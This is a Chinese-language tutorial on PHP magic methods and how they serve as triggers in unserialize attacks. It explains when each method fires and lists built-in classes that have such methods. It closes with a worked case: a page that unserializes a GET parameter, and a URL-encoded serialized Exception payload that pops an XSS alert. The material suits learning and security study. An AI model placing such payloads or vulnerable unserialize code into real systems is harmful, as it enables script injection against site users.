魔术方法利用点分析演示:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法。
魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct(): //析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把对象当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
魔术方法功能演示:
__construct()魔术方法:
实例化对象时被调用.其作用是拿来初始化一些值。
__destruct()魔术方法:
当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
实列化对象,主动销毁:
主动销毁执行顺序:先调用销毁方法在结束程序
自动销毁:
自动销毁执行顺序:先结束程序再调用销毁方法
__toString()魔术方法:在对象当做字符串的时候会被调用
把对象当作字符串输出
就会调用__toString()函数
__CALL ()魔术方法:
调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
方法存在:
正常调用
方法不存在:
调用__call()函数
__get() 魔术方法:
读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get()函数
属性存在:
返回属性值
属性不存在:
调用__get函数
__set()魔术方法:
设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
属性存在:
直接赋值
属性不存在:
调用__set函数
__sleep()魔术方法:serialize之前被调用,可以指定要序列化的对象属性。
不使用序列化:
不会调用__sleep()
使用了序列化:
调用__sleep()函数
__wakeup()魔术方法:反序列化恢复对象之前调用该方法
使用了反序列化:
调用__wakeup()函数
__isset()魔术方法:
检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
对不可访问属性(private私有属性)调用isset():
就会调用__isset()函数
对可被访问属性调用isset():
不会调用__isset()函数
__unset()魔术方法:
在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
对象变量属性:
public(公有的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私有的):只有本类内部可以使用
对三个属性使用unset():
只调用了两次__unset(),因为有一次是可访问属性(public公有属性)
__invoke()魔术方法:将对象当做函数来使用时执行此方法,通常不推荐这样做。
把对象当作函数引用:
就会自动调用__invoke()函数
不同变量属性导致序列化数据显示不同:
private属性:序列化的时候格式是%00类名%00成员名
protect属性:序列化的时候格式是%00*%00成员名
public private protected序列化格式说明:
序列化格式
PHP原生类
原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类
魔术方法的原生类
执行代码查看:
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
案例:原生类实现xss弹窗
案例代码:
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
1.分析代码可知:$a对象被当作字符串输出。
因为__toString()魔术方法是在把对象当做字符串使用的时候会被调用,所以这里会触发__toString()魔术方法
但是因为代码里面没有__toString()魔术方法,所以可以考虑使用__toString()的原生类实现xss弹窗
2.执行查看原生类的代码,查看__toString()原生类
只查看__toString(),所以注释其他
执行查看
3.浏览器搜索:利用php原生类进行xss。
成功获取到构造代码:https://www.anquanke.com/post/id/264823#h3-8
代码:
$a=new Exception("");
echo urlencode(serialize($a));
?>
4.利用浏览器php在线执行网站,执行代码获取poc
poc:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22%3Cscript%3Ealert%28%27xiaoheizi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
5.案例页面传递参数值为poc,成功xss弹窗